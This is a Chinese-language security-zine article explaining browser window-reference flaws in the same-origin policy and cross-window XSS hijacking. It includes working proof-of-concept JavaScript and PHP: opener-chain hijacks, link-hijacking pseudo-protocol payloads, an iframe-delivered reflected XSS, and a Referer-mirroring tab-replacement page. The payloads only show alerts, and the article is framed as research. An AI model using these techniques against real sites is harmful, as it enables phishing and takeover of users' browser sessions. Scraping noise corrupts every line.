==Ph4nt0m Security Team==; ~/ X6 }9 c( m" @; f
: Z3 Z/ t! B. Q7 l* [ Issue 0x03, Phile #0x05 of 0x07+ d( U$ b, z7 f3 o: R, O
" c, P$ e* D+ T; H- N' G" I
) |$ F' q8 t9 R* Y1 } h7 k5 c' r& u|=---------------------------------------------------------------------------=|
' C$ M+ ^$ q2 U|=---------------=[ 利用窗口引用漏洞和XSS漏洞实现浏览器劫持 ]=---------------=|
' y6 ^$ k* ?% T( w" n2 I9 R|=---------------------------------------------------------------------------=|& S) t& A4 _6 U- S- H
|=---------------------------------------------------------------------------=|
6 I$ z1 l8 E: Z t- P( D) a|=------------------------=[ By rayh4c ]=---------------------------=|& t0 u4 f0 L* g! }; w; M; K
|=----------------------=[ <rayh4c#80sec.com> ]=------------------------=|8 i: k$ ^# h6 l) v
|=---------------------------------------------------------------------------=|
, n9 l, y- x4 n% o7 c/ n: e9 t5 g
, v# |3 }; n, ^# H' |8 a5 U8 H a3 q8 I, _3 h) X; o: S+ U
[目录]9 l! E3 V2 j) ]6 ?% n7 N
X' b& r( r/ a' [9 k+ I+ a" r1. 前言
) [" G9 u. O! b0 g M7 K6 h9 U2. 同源策略简叙
2 e/ w0 [* q& B( w2 ~- M! c3 W! r" v3. 理解window对象的同源策略7 z, ~# s% K& P4 {
4. 窗口引用功能中的同源策略漏洞7 C. _ o1 {. @! O& L& }
4.1 父窗口引用子窗口的同源策略问题
$ ~* v- o. D- M, R: N9 r* z- h 4.2 子窗口引用父窗口的同源策略问题2 b9 d/ V* F) C- A' [
5. 利用窗口引用漏洞劫持浏览器0 R" G6 A# l" A/ e1 ~( J
6. 利用XSS漏洞劫持浏览器; a" g2 G3 s+ k- Z4 e4 t% H$ ^
6.1 正向跨窗口劫持
9 M* E/ H2 E( _% z4 F; B9 e' c3 }, J5 c 6.2 反向跨窗口劫持% e L( i) U9 {5 }4 |' K0 E
6.3 极度危险的跨框架窗口引用劫持$ f$ q. I# o) r) {- c& I
6.4 极度危险的正反向跨窗口递归劫持
" U8 W# G5 c L" O 6.5 完全控制浏览器$ b+ ?$ }- y6 U
7. 后记
1 w7 s# H$ i) n% E( H- W# I. O8. 参考3 a' D1 O$ U$ i" h+ V+ i9 E
. k4 O( Z! k+ t% t/ T* \
+ e+ r# [2 b3 | ^( Y
一、前言
; f4 l9 O6 v7 P
* c8 ^) C s$ w% u: T/ I 最近国内关于XSS漏洞的技术文档都比较少,所以决定写这篇文档,其中的很多细节和朋
5 e+ W/ V9 t3 v& R9 \友们都沟通讨论很久了,其中包括了我对浏览器同源策略和XSS的一些理解。XSS漏洞从Session
1 `; J3 l- k" |4 C劫持、钓鱼、XSS WORM等主流攻击方式发展到现在,告诉了大家一个真正的跨站师是不会被' G! s* h$ ?; w; c, V
条条框框所束缚,跨站师们在不断的创新,跨站师们会展示XSS漏洞的所有可能。
6 w( S7 @, F5 P3 n9 `- {' h+ F( @3 q# ?1 n0 X$ {9 r7 Q' C, O) o
% L) h4 x, e3 l0 `, q# z二、同源策略简叙
% S3 |+ b1 F0 Y6 h5 l; x" R4 J0 h
同源策略是浏览器的安全基础,它是浏览器支持的客户端脚本的重要安全标准,我们可以
1 E! ]: h) B# }从“源”上了解这一安全标准,按照W3C的标准这个“源”包括域名、协议和端口,各大浏览器都
( ^4 i# H6 P. C2 G0 _* ^* Y曾爆出过很多同源策略漏洞,危害程度各有不同,比如从06年开始流行至今的MS06-014网页木
# x. \+ O! T% b* e马漏洞都已经完全颠覆了同源策略。这次的文档主要说的是DOM的同源策略(参考2)中的一个3 M1 g6 K0 A2 h$ j& N; O# A& }
漏洞,然后从漏洞引申到XSS漏洞如何利用DOM的同源策略特性,最终实现浏览器劫持。
% A& z) }, X4 i# K. v# n1 i# A6 i. l% m$ u: p1 Y1 o
; z% F: T/ O ?% f0 k9 X
三、理解window对象的同源策略
) p- ?/ ~, u" L' c; V' C
- ^3 C: i6 Q! b$ b 窗口即指的是浏览器窗口,每个浏览器窗口都可以使用window对象实例来表示,window对7 ~4 D& S- P3 g8 u: J
象有很多属性和方法,写一个简单的脚本可以历遍出window对象的所有属性和方法: e4 t$ O' p& V/ Z) x N0 ` [. g
/ j% Z: o$ \& l/ D--code-------------------------------------------------------------------------7 C. s: T# s- b3 B+ y0 n
<script language="javascript">) o$ P+ h$ x% [/ U& k
for(p in window) document.write(p+"<br>");
; `/ `% m( F+ R2 u6 m</script>
( i y& x; o% Y7 L' }* a-------------------------------------------------------------------------------
, E' }& M" Y/ u. P/ [8 `- a7 p
# M, C, W5 O/ A% E6 u" U8 W4 U5 w 这些window对象的属性和方法可以改变窗口的外观和窗口网页的内容,当这些属性和方
) i; U& J, q% G! W0 p法只在一个窗口中使用并不会凸显出安全问题,但是当多个window对象开始互相引用的时候,( S( p8 {6 a8 Z: N
这些属性和方法就必须遵循同源策略。0 u" ^" Z' ~* K
4 L) D: h" ^! Z0 C! s1 _ 举一个简单的例子,如果在a.com的网页可以调用b.com网页window对象的属性和方法,那
. l2 X6 w) o9 _; [么跨站师就可以随便XSS互联网上任何一个网站了,所以为了避免安全问题,同源策略是必须* o6 n5 S: j* B
的。我们可以把下面的脚本保存为demo.html到本地打开或者丢到远程服务器上进行测试,这
- s! q3 }1 T$ ?, u个脚本的效果是调用不同源的子窗口window对象的属性和方法,我们会发现location属性的
8 V5 J x1 K9 R1 D& R& c值类型是空白的,这种情况太特殊了,说明不同源的父窗口引用子窗口window对象的location
5 u# g N6 E& D! ^属性并没有被拒绝访问。
9 Y9 S, p. N( f# V, q% A. r5 V# Z: |5 ?8 a0 C) \
--demo.html--------------------------------------------------------------------2 L2 ?2 T- X l7 a
<script language="javascript">
h) Q( f8 E) {* ^6 y) F7 }; Rfunction allPrpos(obj) { / h( G: P# d+ B+ n
var props = "<table><tr><td>名称</td><td>值</td>"; $ O' H/ R" j- w5 H
for(var p in obj){
9 S% z7 F9 |( ?! v; S- ~ if(typeof(obj[p])=="function"){
7 {. ~, K" x2 U5 n7 N obj[p](); $ u- t& R' S& x5 a1 O" u: P1 M* ?- r; `
}else{ 8 X3 c. c. d- H% y, y/ T
try / n: u# {* E, z3 D7 z4 H% o
{ ( y4 `/ M- a4 k/ v9 }+ ^
props+="<tr><td>"+p + "</td><td>" + obj[ p ] + "</td></tr>"; . |2 Z9 u6 L0 X6 H( k
}
) Q# j' v; V6 V: m1 ? catch (ex)
5 }5 ~2 F1 O7 M* v3 t8 V% \1 F0 ^8 d8 l {
+ ~9 W+ I" \: Q2 l6 P3 B, h " _( U4 i$ O+ n5 E! _ l
props+= "<tr><td>"+p + "</td><td>" +ex.message+"</td></tr>"; $ s2 r C! A8 B$ Y8 C& r
} 9 K* ~ M: G6 a- x+ ?" U Q
7 g/ T$ W8 u$ ]* k9 m$ u# }
} 2 j+ |' i- _4 n/ t( f% N q# k
}
9 x, y3 y3 ?( s5 C ; F- s6 Z2 x6 u2 \& k5 S) F
document.write(props+"</table>");
Z0 j! r* R: j0 ~. G}
5 t! X y0 m) J* A' W2 M & L0 ~3 K+ M9 P. G' k' Z
function createWin() {+ t0 Z# S$ E7 ]# Q( W' q$ q
newWin = window.open ("http://www.google.com"); $ S- V2 [# D; k# u ^4 t
setTimeout(function(){allPrpos(newWin)},2000); . ?! S1 V' O& ]/ X( j' U3 M6 _# D
} ) A, t* a" R# K( c( f/ ~
/ n* H/ H1 h9 j( R: ^</script> 2 E& y# n6 q9 } h
, J$ u3 U/ D) a; c
<button onclick='createWin()'>创建一个非同源子窗口测试</button>9 ^% ~! L( A8 f K5 t
-------------------------------------------------------------------------------
; X. b# B, m, d5 ~) g
! T, I% ^6 O# A
5 X t+ k; n6 w, W3 F! i- j( O四、窗口引用功能中的同源策略漏洞& n" T8 o A+ S. I* t+ ^$ S
+ b' R9 ?0 v9 ~- m4.1 父窗口引用子窗口的同源策略问题$ \+ G6 ^& o" L
. B9 \3 g7 n" ?" Z; r1 Z 去年我在幻影杂志发过的IE6跨域脚本漏洞,这个问题微软已经发布了ms08-058补丁修复,9 T9 r5 `1 c; L+ o# n: _2 r
但这个漏洞仍然暴露了父窗口引用子窗口的同源策略问题。根据第二部分的测试,我们知道6 d* Y K! U1 z2 G9 [
浏览器并没有阻止父窗口访问非同源子窗口的location属性值,我们可以使用下面的脚本进& j+ t- O8 z, M& b1 @0 Y% Q- C' w
行测试,会发现父窗口可以控制非同源子窗口location属性值。; }7 m( n. V- [: G8 j2 m# }3 A
* s5 m. e; a" W% _--vul1.html--------------------------------------------------------------------9 x# g/ L7 }% q5 q# N
<script language="javascript"> : F8 \8 k# x* h% G0 p
function createWin() { 2 f( F! e5 D' G
newWin = window.open ("http://www.google.com");
( ?- c0 W0 e! W# A! n7 t setTimeout(function(){newWin.location="http://www.80sec.com"},2000); ' s2 O( W- d9 h0 Q# R2 K
} 5 B* s" R2 e5 b" _; _8 J4 S
</script>
2 N0 H) b/ H5 w G: r5 }- r$ g9 n6 [- f7 u
<button onclick='createWin()'>创建一个非同源子窗口测试</button> r4 j1 x" W/ G( D
-------------------------------------------------------------------------------, i: `! p, h7 v$ q3 H- W/ N
c w% L! p, g5 I: o' r1 X; Q2 {
/ m0 B( C9 h5 o0 J) F4.2 子窗口引用父窗口的同源策略问题
: p: z* d/ D. d; I# b% V& q
! K9 ?2 P; F# Z Z2 T 逆向测试一次会发现子窗口引用父窗口也存在同样的问题,这里为了更方便和直观我使) H# C0 K5 L8 y5 w- }0 i" A& E' Q" B
用javascript伪协议进行验证。子窗口引用父窗口的window对象属性是window.opener,我们2 `" H, ^$ H* x+ `1 A
可以随意浏览一个网站点击链接打开N个网页,在这些网页的地址栏注入下面的脚本,你一定
: A% Q$ S0 N5 ]9 I会惊奇的发现,不管同源还是非同源的父窗口都转跳到了80SEC网站。# F, i2 ~' c1 j2 z, q2 J
) P- t! k1 n# T--code-------------------------------------------------------------------------
9 A" C# p! o+ S4 G
0 C7 A m& a2 M$ S) s* C Njavascript:window.opener.location = "http://www.80sec.com";void(0);& I. j* {& z; @; v% s/ m$ b3 V
5 i8 Y/ ^& N2 f9 b3 @1 g/ g------------------------------------------------------------------------------- ^+ F. K$ |& N, u
9 T4 @4 m, X" X* N* A* X: H
( s$ F4 T* B, Q& r5 V
五、利用窗口引用漏洞劫持浏览器
# q( \; }- m6 V) g
* h# W( M1 o0 U2 K5 p+ j2 l: H# r 经过上面三个枯燥的测试,我们已经暴露了浏览器一个非常严重的安全问题,非同源的子3 k# k' b. Z2 }- v8 K& G6 S
窗口和父窗口可以互相引用控制window对象的location属性值,并没有严格遵循同源策略,那0 }) N; `" Q2 J/ t& b, y7 B; a
么用户在浏览器中的所有点击行为都有可能被跨站师变相控制。9 m9 H( W' ~( S/ K2 d$ ~- f
# b$ [/ S: V/ _) V5 ~. l
我们打开浏览器访问互联网上的各个网站,无时无刻不在点击链接,我们点击链接想要产
! i" |3 `) C/ L3 b& U生的结果是去访问我们想要去的URL地址,用户的正常点击只会产生两个结果,打开新窗口或
2 b- v* Z; O/ z: Q* ~/ \8 @者当前窗口转跳,试想一下你在SNS网站、电子商务网站、BLOG、论坛里点击一个正常的链接
& `. |# ^- b& }& V# F; s9 k后,打开了一个“无害”的网页,原本浏览的信任网页却已经被悄悄替换了,大家可以联想一下8 t( o* r4 m; O0 }3 R
会产生什么可怕的后果。2 y8 Y0 `8 r9 G9 z0 d0 S C. C
. T- O1 H0 V' s! ~, j 下面我写了一个劫持浏览器的小Demo,思路是获取REFERER后生成镜像页面,同时加入我
) ~# b; e9 d# k) B' z们的劫持脚本。比如把这个hjk_ref.php丢到本地服务器上测试,将http://127.0.0.1/hjk_ref.php! q( }+ t$ \5 Q1 S. c9 t1 t0 q
这样的链接发到任意一个网站上,点击链接打开新窗口,当所有的注意力都停滞在新窗口的时
5 a: T2 n. t* N- G% a候,3秒后一个镜像页面将会悄悄替换链接所在页。按照类似的思路,发挥跨站师的想象力,可% h' D: L" f& o' C3 O0 ?( J+ j% Z. L6 K
以做更多的事情,所有的一切仅仅是因为点击了一个链接。
5 ^" B" k/ C2 `) A) o: Q, \, w6 V2 w1 V$ e+ e
--hjk_ref.php------------------------------------------------------------------
1 x: F% |1 {) V& l$ ~<?php6 [$ P1 I4 F, m, l/ _
if (array_key_exists("HTTP_REFERER", $_SERVER)) {
: l5 A' k' b. t% x' W$Url_Mirror = $_SERVER["HTTP_REFERER"];
$ L! U+ `" H; H0 S# e* |} 4 J4 H: g/ N3 G9 C4 |: |
if(isset ($_GET['ref'])) {
+ T. H; q. E$ p K. Q# eecho file_get_contents($_GET['ref']) . '<script>alert(\'I had been hijacking your browser!\')</script>';, Y+ q( q7 l7 r1 |! ^3 @1 O) j
}
( o M$ R4 b3 [& i; f% c?>+ W2 m. u( B, v6 |
% P+ M7 Q! j+ j9 ~0 g" S4 }2 w( l- ?
<script language="javascript">
( p. |5 D3 [- C- ~setTimeout(function(){window.opener.location=window.location+"?ref=<?echo $Url_Mirror;?>"},3000);
9 l8 T. N( U# g! @1 o</script>
. M9 [2 i6 R( @( ~-------------------------------------------------------------------------------
7 r0 A/ }, e5 p2 V: G! F/ q! P
" I1 p+ [! n* z+ F. C 注:各大主流浏览器仅opera和internet explorer 8不存在窗口引用漏洞。' j0 V$ f7 u. z: r! b2 u0 K
' g) H. I& Z s: n( I
9 l- x/ y' c% d
六、利用XSS漏洞劫持浏览器# U5 a& {$ v# e
5 J' H" l7 H" P6 q% B8 W8 U 延续第四部分的思路,这部分将进入本文的一个重要环节.跨站师们都知道XSS漏洞分为
3 m9 J5 ]/ |1 s# W$ g3 B. o6 z持久和非持久两种,这两种类型的漏洞无论怎么利用都无法跳出窗口的生命周期,窗口关闭后 |) S/ B' v. c) c4 e. @) w9 @
XSS漏洞的效果也就完全消失,窗口的限制一直束缚着跨站师们的发挥,我这里将和大家一起+ r$ \" B% V1 ~ E5 s( p, L8 I
讨论跨站师的终极技巧:; ?6 h' H N5 U' b
5 a9 O& E* F8 h- e- M* H
3 {: z7 x* A5 q6.1 正向跨窗口劫持
8 b8 f: U& i8 L' h; g, s( X; S
( A( _" e j8 K8 ^$ M 大家可以先试验下hijack_open.js这个脚本,比如打开http://bbs.dvbbs.net/动网论坛* Q2 r( V; r, h, O
主页,我们在地址栏里复制下面的代码使用伪协议注入hijack_open脚本,然后整个页面的链
2 p. J# Q9 n5 d) D5 @& f接就都被劫持住了,点击论坛里的任意一个链接,打开的新窗口都会被注入了一个alert对话9 I$ B9 e' ?1 S8 x, ^1 z
框脚本。
) H' C# R/ {8 ^5 w. ^
; h: ?, @8 i7 K0 |) S3 o7 n5 r--hijack_open.js---------------------------------------------------------------/ ?6 M F4 o8 V* y X1 s
9 H \& P: ]4 N4 R% S5 I( p: G9 h2 k
javascript:for(i=0;i<document.links.length;i++){document.links.onclick=function(){x=window.open(this.href);setTimeout(function(){try{x.location="javascript:alert('I had been hijacking your browser!')"}catch(e){};return false;},3000);return false;}};void(0);/ m- f v' u3 U+ l- ^, [
; I2 \" i( g ?! U0 O0 R-------------------------------------------------------------------------------
, p5 n4 h: i/ q0 a2 b3 }
# S' Z! X4 u% f3 F" c0 u+ z
& G2 J* r' B4 [8 T& s4 R, w6.2 反向跨窗口劫持
+ C% i# X, Z& E1 W$ u# J
, v9 J6 x: B3 d" U+ x2 G$ D$ y3 F' n! P 同样我们也可以在动网论坛试验,新打开任意一个版块的窗口,在地址栏里复制下面的代: Q* V- `! ]9 f# i ]6 p( G: P% y
码使用伪协议注入hijack_opener脚本,我们会发现原来的页面被反向注入了一个alert对话8 U$ G' T7 q5 K0 L. }% [
框脚本。
( y1 x& _ _ }1 }- `2 @& e" v3 G3 b
--hijack_opener.js-------------------------------------------------------------
$ ?5 \0 @/ l7 t+ N! H1 T5 C* r
. V; j n- S: |* U9 Qjavascript:window.opener.location="javascript:alert('I had been hijacking your browser!')";void(0);7 H2 d& X5 x9 W8 ~- g# x8 {; Y
- l" E7 X1 g' y7 W6 ]: ? C
-------------------------------------------------------------------------------
/ d$ \3 ?6 Q, I8 F
/ { p+ r8 Z) g3 |# Y
( W5 J! `$ g1 g7 X* b+ g' y6.3 极度危险的跨框架窗口引用劫持9 y/ x, K" j3 y* {1 w
! }3 j+ P3 j$ Y% I8 I 非持久型XSS漏洞是在URL参数中注入脚本,一度被认为很鸡肋,一个非持久型的XSS漏洞
) Z* \9 t6 h: M& ^3 F" [ {( b2 \/ N) a可能出现URL参数过于冗长等缺点,下面这个window.parent.opener的跨框架窗口引用技巧就
7 w |' b9 Z: F* f; y适用于所有的非持久型XSS漏洞,我们可以在一个被攻击者的信任网站上的网页里iframe一个4 G$ Y+ C& K; S' m
非持久型的XSS,如下:
& E1 o3 q. z# T g; W" @3 \# m) U6 E) t* [: ]9 s( T! h
<iframe src='http://www.target.com/index.php?vul=xss'width='0' height='0'>
6 D3 b- m9 B3 o8 e% o6 z! o
S4 s! O: {$ G5 h" X& H |, C7 r 在vul参数中写入下面的hijack_frame_opener脚本,跨站师就可以反向跨框架引用窗口8 f8 U# _7 f4 c
注入脚本。
- D! E5 k$ G% @" X. W
( ? J+ V/ m5 R X3 e--hijack_frame_opener.js-------------------------------------------------------
, `+ J" x. ~0 ^5 }0 Y4 d<script>$ o' H3 s2 j* J" n7 M
window.parent.opener.location="javascript:alert('I had been hijacking your browser!')";! V* W9 K. r4 Y; G
</script>
. _2 _, t$ h y7 L) ?9 q8 Q1 M7 S- W-------------------------------------------------------------------------------
4 C3 d% T4 y3 ]3 ~. k
$ j; F- ~8 w6 W4 r; l* s% T: M* T7 P( v# l1 u
6.4 极度危险的正反向跨窗口递归劫持
4 `" \3 i5 t# C& i, [" a. D# z c* H* ]% _3 x4 O1 c; @3 }
luoluo建议我加上了这一部分,窗口之间的引用关系可能是复杂的,我们可以通过window
' Q h8 J/ m$ M4 B的opener属性链反向递归查找窗口注入XSS脚本,将互相引用过的同域窗口全部劫持,并通过
( c! S" m8 ]4 _: ` D6 P异常处理规避之间跨域页面的访问异常,代码如下:
0 |+ E- @! s& ~8 e. d
5 q0 q$ L+ z$ }3 Y3 Q4 q--code-------------------------------------------------------------------------
+ W1 p1 u% \* n3 o' d
' h" ?1 r2 a- W; y% rjavascript function(){var w=window;while(w.opener){w=w.opener;try{w.location="javascript:alert('I had been hijacking your browser!');void(1);";}catch(e){}}})();void(0);1 r. y2 l! U/ c. ~
. g- e9 ~2 _3 a/ ^8 N, i a
-------------------------------------------------------------------------------
& T0 O7 x6 b4 {4 V, d. g) s b. }& \1 I1 y
假设页面打开序列有A域->B域->A域的情况,通过对第二个A域页面的反向递归劫持则可( g# z& P9 J7 G3 c% Z. p5 ~: `/ H) w
以劫持B域之前的A域页面,从而实现“隔空打击”。
, m3 _- g; s v7 [5 ~
" b. @3 ]5 _# d& y& S: V: l5 B 同理,正向跨窗口劫持也可以实现递归劫持所有同域的链接,对每个打开的被劫持的页面) s& b+ I/ }5 h( G6 O4 J4 j
执行和第一个页面一样的劫持脚本,但是正向递归没法实现反向递归的那种“隔空打击”。
- {2 ?5 ]2 t: m0 _/ p4 p. y0 [! B# W& i" m
结合正向和反向的链式递归劫持,最终我们可以劫持所有的同域页面。: q/ a% i& U1 A% n6 d
. a8 ^+ c, [5 ~6 \
4 g3 N$ u' O9 u3 {4 O& J3 D. E
6.5 完全控制浏览器* o! x. u V# Q5 h0 E: E, _
& ~( n5 f! P" ]5 l% b( `3 J* `3 t
一个跨站脚本漏洞的真正意义在程序员的角度是输入和输出问题,而在跨站师的角度则/ f$ _% j' M9 K+ H
是能够进入同源策略了,可以摆脱同源策略的束缚做任何想做的事情。跨站师们可以利用XSS
3 C; E2 Y9 ~% E- ^) d& ^漏洞在同源策略允许的范围内再跨页面注入脚本,可以不再为窗口关闭后XSS漏洞的效果消失
% ? a8 G$ c- e% v而烦恼,劫持窗口后的跨站师们可以任意发挥,劫持表单,劫持请求,劫持输入等等,我就不再
# ]+ L4 f- q) H* s列举实例。无论是持久型还是非持久型的XSS漏洞都是能够发挥最大的威力的,最后实现跨站
/ Z( G% N9 {( W" {4 m3 h师的终极目标 - 完全控制浏览器。7 n+ E+ P# q0 S. d
, |4 s2 [* G7 O; Z6 d" s2 P7 R: b$ d+ g1 \ `
七、后记
. \$ V, ~# [2 l
Z$ v/ c$ p' j" k- E( c6 Q9 I 文章涉及的安全技术全部都是纯研究性质,请不要将这些技术使用在非法途径上。安全
, g4 i, P( ?/ q! U与应用永远是一个矛盾体,通往安全的路永远不止一条。感谢对这篇文档的思路和技术给予
0 ^ m8 S2 n3 s8 }9 {9 @过帮助的luoluo、cnqing、linx以及80Sec团队的所有成员。+ ]& Q7 T1 J$ b9 Z8 p% y
# ~' L! T2 [. `
: I* E5 {# `+ O八、参考" A- C4 P# m: ~
6 m4 r5 r3 _% j* d8 T6 N) ]
1. http://en.wikipedia.org/wiki/Same_origin_policy: `8 u, V" v' l4 O) b$ p2 ], Q \% x3 p
2. http://code.google.com/p/browser ... licy_for_DOM_access( A n: m& T9 j
3. http://www.w3.org/TR/Window/
6 | c9 d0 v5 a2 @* Z4. http://www.80sec.com/release/browser-hijacking.txt) R/ T6 B9 k9 j% {; g
5. http://www.80sec.com/all-browser-security-alert.html. M# L5 N6 {6 l/ M) Z
6. http://www.80sec.com/ms08-058-attacks-google.html0 H5 A& N# r8 M# d7 S( T" x; z9 T
! C' i. c% C6 c; a# `* Y
-EOF- |